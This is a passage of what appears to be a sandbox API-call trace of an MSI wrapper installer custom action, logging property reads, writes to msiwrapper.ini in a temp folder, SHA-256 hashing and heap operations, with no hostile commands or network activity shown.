dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0149.069] WriteFile (in: hFile=0x180, lpBuffer=0x5f9dca*, nNumberOfBytesToWrite=0x244, lpNumberOfBytesWritten=0x21df464, lpOverlapped=0x0 | out: lpBuffer=0x5f9dca*, lpNumberOfBytesWritten=0x21df464*=0x244, lpOverlapped=0x0) returned 1 [0149.070] CloseHandle (hObject=0x180) returned 1 [0149.071] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f9880 | out: hHeap=0x5c0000) returned 1 [0149.071] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x5dbad8 [0149.071] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5dbad8, Size=0x70) returned 0x5f5c18 [0149.071] MsiCreateRecord (cParams=0x2) returned 0x35 [0149.073] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x5dbad8 [0149.073] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5dbad8, Size=0x80) returned 0x5f97f8 [0149.073] MsiRecordSetStringW (hRecord=0x35, iField=0x0, szValue="-- CUSTOM ACTION -- GetProperty: Name=BZ.CURRENTDIR") returned 0x0 [0149.074] MsiProcessMessage (hInstall=0x1, eMessageType=0x4000000, hRecord=0x35) returned 0 [0149.079] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f97f8 | out: hHeap=0x5c0000) returned 1 [0149.079] MsiCloseHandle (hAny=0x35) returned 0x0 [0149.081] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f5c18 | out: hHeap=0x5c0000) returned 1 [0149.081] MsiGetPropertyW (in: hInstall=0x1, szName="BZ.CURRENTDIR", szValueBuf=0x74a0a6b8, pcchValueBuf=0x21df470 | out: szValueBuf="", pcchValueBuf=0x21df470) returned 0xea [0149.083] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x18) returned 0x340ef8 [0149.083] MsiGetPropertyW (in: hInstall=0x1, szName="BZ.CURRENTDIR", szValueBuf=0x340ef8, pcchValueBuf=0x21df470 | out: szValueBuf="*SOURCEDIR*", pcchValueBuf=0x21df470) returned 0x0 [0149.087] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x5f56e0 [0149.087] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340ef8 | out: hHeap=0x340000) returned 1 [0149.087] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x5dbad8 [0149.087] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5dbad8, Size=0x70) returned 0x5f5c18 [0149.087] MsiCreateRecord (cParams=0x2) returned 0x36 [0149.088] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x5dbad8 [0149.088] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5dbad8, Size=0x80) returned 0x5f97f8 [0149.088] MsiRecordSetStringW (hRecord=0x36, iField=0x0, szValue="-- CUSTOM ACTION -- GetProperty: Value=*SOURCEDIR*") returned 0x0 [0149.089] MsiProcessMessage (hInstall=0x1, eMessageType=0x4000000, hRecord=0x36) returned 0 [0149.093] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f97f8 | out: hHeap=0x5c0000) returned 1 [0149.093] MsiCloseHandle (hAny=0x36) returned 0x0 [0149.107] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f5c18 | out: hHeap=0x5c0000) returned 1 [0149.107] CreateFileW (lpFileName="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\MW-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\msiwrapper.ini" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\mw-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\msiwrapper.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0149.108] GetFileSize (in: hFile=0x180, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x244 [0149.108] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x246) returned 0x342ac8 [0149.108] ReadFile (in: hFile=0x180, lpBuffer=0x342ac8, nNumberOfBytesToRead=0x244, lpNumberOfBytesRead=0x21df458, lpOverlapped=0x0 | out: lpBuffer=0x342ac8*, lpNumberOfBytesRead=0x21df458*=0x244, lpOverlapped=0x0) returned 1 [0149.108] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x342ac8 | out: hHeap=0x340000) returned 1 [0149.109] CloseHandle (hObject=0x180) returned 1 [0149.109] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f3d98 [0149.109] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x5f97f8 [0149.109] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f3d98 | out: hHeap=0x5c0000) returned 1 [0149.109] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f3d98 [0149.109] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f3d98 | out: hHeap=0x5c0000) returned 1 [0149.109] CryptAcquireContextW (in: phProv=0x21df41c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x21df41c*=0x5f98a0) returned 1 [0149.111] CryptCreateHash (in: hProv=0x5f98a0, Algid=0x800c, hKey=0x0, dwFlags=0x0, phHash=0x21df420 | out: phHash=0x21df420) returned 1 [0149.111] CryptHashData (hHash=0x5f6738, pbData=0x5f7758, dwDataLen=0xb6, dwFlags=0x0) returned 1 [0149.111] CryptHashData (hHash=0x5f6738, pbData=0x5f9dc8, dwDataLen=0x1bc, dwFlags=0x0) returned 1 [0149.111] CryptGetHashParam (in: hHash=0x5f6738, dwParam=0x4, pbData=0x21df3c8, pdwDataLen=0x21df3a8, dwFlags=0x0 | out: pbData=0x21df3c8, pdwDataLen=0x21df3a8) returned 1 [0149.111] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x4) returned 0x340ef8 [0149.111] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x20) returned 0x340a78 [0149.111] CryptGetHashParam (in: hHash=0x5f6738, dwParam=0x2, pbData=0x340a78, pdwDataLen=0x21df3c8, dwFlags=0x0 | out: pbData=0x340a78, pdwDataLen=0x21df3c8) returned 1 [0149.111] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x4) returned 0x340aa0 [0149.111] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x18) returned 0x340f08 [0149.111] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x4) returned 0x340ab0 [0149.117] GetLastError () returned 0x0 [0149.117] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x20) returned 0x340b60 [0149.117] GetLastError () returned 0x0 [0149.117] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x40) returned 0x340b88 [0149.117] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340b60 | out: hHeap=0x340000) returned 1 [0149.117] GetLastError () returned 0x0 [0149.118] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x50) returned 0x340bd0 [0149.118] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x50) returned 0x340c28 [0149.118] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340bd0 | out: hHeap=0x340000) returned 1 [0149.118] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x340c28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 65 [0149.118] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x5f9b88 [0149.118] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x340c28, cbMultiByte=-1, lpWideCharStr=0x5f9b98, cchWideChar=64 | out: lpWideCharStr="b45646575b285db9d7a9ae2ba296420b3cffa595c472296b2c3e70377014223adc9763e3썚琱") returned 0 [0149.118] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340c28 | out: hHeap=0x340000) returned 1 [0149.118] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340b88 | out: hHeap=0x340000) returned 1 [0149.119] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340ab0 | out: hHeap=0x340000) returned 1 [0149.119] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340f08 | out: hHeap=0x340000) returned 1 [0149.119] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340aa0 | out: hHeap=0x340000) returned 1 [0149.119] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340a78 | out: hHeap=0x340000) returned 1 [0149.119] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340ef8 | out: hHeap=0x340000) returned 1 [0149.119] CryptDestroyHash (hHash=0x5f6738) returned 1 [0149.119] CryptReleaseContext (hProv=0x5f98a0, dwFlags=0x0) returned 1 [0149.119] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f9b88 | out: hHeap=0x5c0000) returned 1 [0149.120] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f97f8 | out: hHeap=0x5c0000) returned 1 [0149.120] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f3d98 [0149.120] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f3d98, Size=0x30) returned 0x5f5c18 [0149.120] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f5c18 | out: hHeap=0x5c0000) returned 1 [0149.120] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f3d98 [0149.120] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f3d98 | out: hHeap=0x5c0000) returned 1 [0149.120] CryptAcquireContextW (in: phProv=0x21df42c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x21df42c*=0x5f97f8) returned 1 [0149.121] CryptCreateHash (in: hProv=0x5f97f8, Algid=0x800c, hKey=0x0, dwFlags=0x0, phHash=0x21df430 | out: phHash=0x21df430) returned 1 [0149.121] CryptHashData (hHash=0x5f6778, pbData=0x5f7758, dwDataLen=0xb6, dwFlags=0x0) returned 1 [0149.121] CryptHashData (hHash=0x5f6778, pbData=0x5f9dc8, dwDataLen=0x1ea, dwFlags=0x0) returned 1 [0149.121] CryptGetHashParam (in: hHash=0x5f6778, dwParam=0x4, pbData=0x21df3d8, pdwDataLen=0x21df3b8, dwFlags=0x0 | out: pbData=0x21df3d8, pdwDataLen=0x21df3b8) returned 1 [0149.121] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x4) returned 0x340ef8 [0149.121] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x20) returned 0x340a78 [0149.121] CryptGetHashParam (in: hHash=0x5f6778, dwParam=0x2, pbData=0x340a78, pdwDataLen=0x21df3d8, dwFlags=0x0 | out: pbData=0x340a78, pdwDataLen=0x21df3d8) returned 1 [0149.121] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x4) returned 0x340aa0 [0149.122] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x18) returned 0x340f08 [0149.122] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x4) returned 0x340ab0 [0149.122] GetLastError () returned 0x0 [0149.122] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x20) returned 0x340b60 [0149.122] GetLastError () returned 0x0 [0149.122] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x40) returned 0x340b88 [0149.122] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340b60 | out: hHeap=0x340000) returned 1 [0149.123] GetLastError () returned 0x0 [0149.123] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x50) returned 0x340bd0 [0149.123] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x50) returned 0x340c28 [0149.123] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340bd0 | out: hHeap=0x340000) returned 1 [0149.123] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x340c28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 65 [0149.123] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x5f9880 [0149.123] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x340c28, cbMultiByte=-1, lpWideCharStr=0x5f9890, cchWideChar=64 | out: lpWideCharStr="259ca5e8973baa72c705063ea5b0fe07c68f6647dfcb4fb8aba7f257869225e8ẜ") returned 0 [0149.124] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340c28 | out: hHeap=0x340000) returned 1 [0149.124] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340b88 | out: hHeap=0x340000) returned 1 [0149.124] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340ab0 | out: hHeap=0x340000) returned 1 [0149.124] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340f08 | out: hHeap=0x340000) returned 1 [0149.124] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340aa0 | out: hHeap=0x340000) returned 1 [0149.124] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340a78 | out: hHeap=0x340000) returned 1 [0149.124] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340ef8 | out: hHeap=0x340000) returned 1 [0149.124] CryptDestroyHash (hHash=0x5f6778) returned 1 [0149.124] CryptReleaseContext (hProv=0x5f97f8, dwFlags=0x0) returned 1 [0149.124] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f3d98 [0149.125] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f3d98 | out: hHeap=0x5c0000) returned 1 [0149.125] CreateFileW (lpFileName="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\MW-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\msiwrapper.ini" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\mw-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\msiwrapper.ini"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0149.126] WriteFile (in: hFile=0x180, lpBuffer=0x5f9dca*, nNumberOfBytesToWrite=0x272, lpNumberOfBytesWritten=0x21df464, lpOverlapped=0x0 | out: lpBuffer=0x5f9dca*, lpNumberOfBytesWritten=0x21df464*=0x272, lpOverlapped=0x0) returned 1 [0149.128] CloseHandle (hObject=0x180) returned 1 [0149.130] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f9880 | out: hHeap=0x5c0000) returned 1 [0149.130] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x5dbad8 [0149.130] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5dbad8, Size=0x70) returned 0x5f5c18 [0149.130] MsiCreateRecord (cParams=0x2) returned 0x37 [0149.131] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x5dbad8 [0149.131] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5dbad8, Size=0x70) returned 0x5f97f8 [0149.132] MsiRecordSetStringW (hRecord=0x37, iField=0x0, szValue="-- CUSTOM ACTION -- GetProperty: Name=UILevel") returned 0x0 [0149.133] MsiProcessMessage (hInstall=0x1, eMessageType=0x4000000, hRecord=0x37) returned 0 [0149.137] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f97f8 | out: hHeap=0x5c0000) returned 1 [0149.137] MsiCloseHandle (hAny=0x37) returned 0x0 [0149.138] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f5c18 | out: hHeap=0x5c0000) returned 1 [0149.138] MsiGetPropertyW (in: hInstall=0x1, szName="UILevel", szValueBuf=0x74a0a6b8, pcchValueBuf=0x21df470 | out: szValueBuf="", pcchValueBuf=0x21df470) returned 0xea [0149.138] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x4) returned 0x340ef8 [0149.138] MsiGetPropertyW (in: hInstall=0x1, szName="UILevel", szValueBuf=0x340ef8, pcchValueBuf=0x21df470 | out: szValueBuf="5", pcchValueBuf=0x21df470) returned 0x0 [0149.138] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f3d98 [0149.138] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340ef8 | out: hHeap=0x340000) returned 1 [0149.138] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x5dbad8 [0149.138] MsiCreateRecord (cParams=0x2) returned 0x38 [0149.139] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x5dbb20 [0149.139] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5dbb20, Size=0x70) returned 0x5f5c18 [0149.139] MsiRecordSetStringW (hRecord=0x38, iField=0x0, szValue="-- CUSTOM ACTION -- GetProperty: Value=5") returned 0x0 [0149.139] MsiProcessMessage (hInstall=0x1, eMessageType=0x4000000, hRecord=0x38) returned 0 [0149.141] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f5c18 | out: hHeap=0x5c0000) returned 1 [0149.141] MsiCloseHandle (hAny=0x38) returned 0x0 [0149.141] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5dbad8 | out: hHeap=0x5c0000) returned 1 [0149.141] CreateFileW (lpFileName="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\MW-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\msiwrapper.ini" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\mw-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\msiwrapper.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0149.142] GetFileSize (in: hFile=0x180, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x272 [0149.142] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x274) returned 0x342ac8 [0149.142] ReadFile (in: hFile=0x180, lpBuffer=0x342ac8, nNumberOfBytesToRead=0x272, lpNumberOfBytesRead=0x21df458, lpOverlapped=0x0 | out: lpBuffer=0x342ac8*, lpNumberOfBytesRead=0x21df458*=0x272, lpOverlapped=0x0) returned 1 [0149.142] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x342ac8 | out: hHeap=0x340000) returned 1 [0149.142] CloseHandle (hObject=0x180) returned 1 [0149.142] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f3dc0 [0149.142] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x5f97f8 [0149.143] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f3dc0 | out: hHeap=0x5c0000) returned 1 [0149.143] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f3dc0 [0149.143] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f3dc0 | out: hHeap=0x5c0000) returned 1 [0149.143] CryptAcquireContextW (in: phProv=0x21df41c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x21df41c*=0x5f98a0) returned 1 [0149.144] CryptCreateHash (in: hProv=0x5f98a0, Algid=0x800c, hKey=0x0, dwFlags=0x0, phHash=0x21df420 | out: phHash=0x21df420) returned 1 [0149.144] CryptHashData (hHash=0x5f6738, pbData=0x5f7758, dwDataLen=0xb6, dwFlags=0x0) returned 1 [0149.144] CryptHashData (hHash=0x5f6738, pbData=0x5f9dc8, dwDataLen=0x1ea, dwFlags=0x0) returned 1 [0149.144] CryptGetHashParam (in: hHash=0x5f6738, dwParam=0x4, pbData=0x21df3c8, pdwDataLen=0x21df3a8, dwFlags=0x0 | out: pbData=0x21df3c8, pdwDataLen=0x21df3a8) returned 1 [0149.144] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x4) returned 0x340ef8 [0149.144] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x20) returned 0x340a78 [0149.144] CryptGetHashParam (in: hHash=0x5f6738, dwParam=0x2, pbData=0x340a78, pdwDataLen=0x21df3c8, dwFlags=0x0 | out: pbData=0x340a78, pdwDataLen=0x21df3c8) returned 1 [0149.145] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x4) returned 0x340aa0 [0149.145] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x18) returned 0x340f08 [0149.145] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x4) returned 0x340ab0 [0149.145] GetLastError () returned 0x0 [0149.145] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x20) returned 0x340b60 [0149.145] GetLastError () returned 0x0 [0149.145] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x40) returned 0x340b88 [0149.146] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340b60 | out: hHeap=0x340000) returned 1 [0149.146] GetLastError () returned 0x0 [0149.146] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x50) returned 0x340bd0 [0149.146] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x50) returned 0x340c28 [0149.147] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340bd0 | out: hHeap=0x340000) returned 1 [0149.147] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x340c28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 65 [0149.147] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x5f9b88 [0149.147] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x340c28, cbMultiByte=-1, lpWideCharStr=0x5f9b98, cchWideChar=64 | out: lpWideCharStr="259ca5e8973baa72c705063ea5b0fe07c68f6647dfcb4fb8aba7f257869225e8dc9763e3썚琱") returned 0 [0149.147] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340c28 | out: hHeap=0x340000) returned 1 [0149.147] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340b88 | out: hHeap=0x340000) returned 1 [0149.148] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340ab0 | out: hHeap=0x340000) returned 1 [0149.148] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340f08 | out: hHeap=0x340000) returned 1 [0149.148] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340aa0 | out: hHeap=0x340000) returned 1 [0149.148] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340a78 | out: hHeap=0x340000) returned 1 [0149.148] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340ef8 | out: hHeap=0x340000) returned 1 [0149.148] CryptDestroyHash (hHash=0x5f6738) returned 1 [0149.148] CryptReleaseContext (hProv=0x5f98a0, dwFlags=0x0) returned 1 [0149.149] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f9b88 | out: hHeap=0x5c0000) returned 1 [0149.149] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f97f8 | out: hHeap=0x5c0000) returned 1 [0149.149] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f3dc0 [0149.149] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f3dc0, Size=0x30) returned 0x5f5c18 [0149.149] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f5c18 | out: hHeap=0x5c0000) returned 1 [0149.149] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f3dc0 [0149.150] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f3dc0 | out: hHeap=0x5c0000) returned 1 [0149.150] CryptAcquireContextW (in: phProv=0x21df42c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x21df42c*=0x5f97f8) returned 1 [0149.151] CryptCreateHash (in: hProv=0x5f97f8, Algid=0x800c, hKey=0x0, dwFlags=0x0, phHash=0x21df430 | out: phHash=0x21df430) returned 1 [0149.151] CryptHashData (hHash=0x5f6778, pbData=0x5f7758, dwDataLen=0xb6, dwFlags=0x0) returned 1 [0149.151] CryptHashData (hHash=0x5f6778, pbData=0x5f9dc8, dwDataLen=0x1fe, dwFlags=0x0) returned 1 [0149.151] CryptGetHashParam (in: hHash=0x5f6778, dwParam=0x4, pbData=0x21df3d8, pdwDataLen=0x21df3b8, dwFlags=0x0 | out: pbData=0x21df3d8, pdwDataLen=0x21df3b8) returned 1 [0149.151] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x4) returned 0x340ef8 [0149.151] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x20) returned 0x340a78 [0149.151] CryptGetHashParam (in: hHash=0x5f6778, dwParam=0x2, pbData=0x340a78, pdwDataLen=0x21df3d8, dwFlags=0x0 | out: pbData=0x340a78, pdwDataLen=0x21df3d8) returned 1 [0149.151] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x4) returned 0x340aa0 [0149.151] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x18) returned 0x340f08 [0149.151] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x4) returned 0x340ab0 [0149.151] GetLastError () returned 0x0 [0149.151] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x20) returned 0x340b60 [0149.151] GetLastError () returned 0x0 [0149.152] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x40) returned 0x340b88 [0149.152] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340b60 | out: hHeap=0x340000) returned 1 [0149.152] GetLastError () returned 0x0 [0149.152] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x50) returned 0x340bd0 [0149.152] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x50) returned 0x340c28 [0149.153] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340bd0 | out: hHeap=0x340000) returned 1 [0149.153] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x340c28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 65 [0149.153] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x5f9880 [0149.153] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x340c28, cbMultiByte=-1, lpWideCharStr=0x5f9890, cchWideChar=64 | out: lpWideCharStr="c12dc5fc430f557d50d91dd7e168b15d5fd97768f969acfc84e041b27f01423aẜ") returned 0 [0149.153] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340c28 | out: hHeap=0x340000) returned 1 [0149.153] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340b88 | out: hHeap=0x340000) returned 1 [0149.153] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340ab0 | out: hHeap=0x340000) returned 1 [0149.153] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340f08 | out: hHeap=0x340000) returned 1 [0149.154] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340aa0 | out: hHeap=0x340000) returned 1 [0149.154] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340a78 | out: hHeap=0x340000) returned 1 [0149.154] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340ef8 | out: hHeap=0x340000) returned 1 [0149.154] CryptDestroyHash (hHash=0x5f6778) returned 1 [0149.154] CryptReleaseContext (hProv=0x5f97f8, dwFlags=0x0) returned 1 [0149.154] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f3dc0 [0149.154] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f3dc0 | out: hHeap=0x5c0000) returned 1 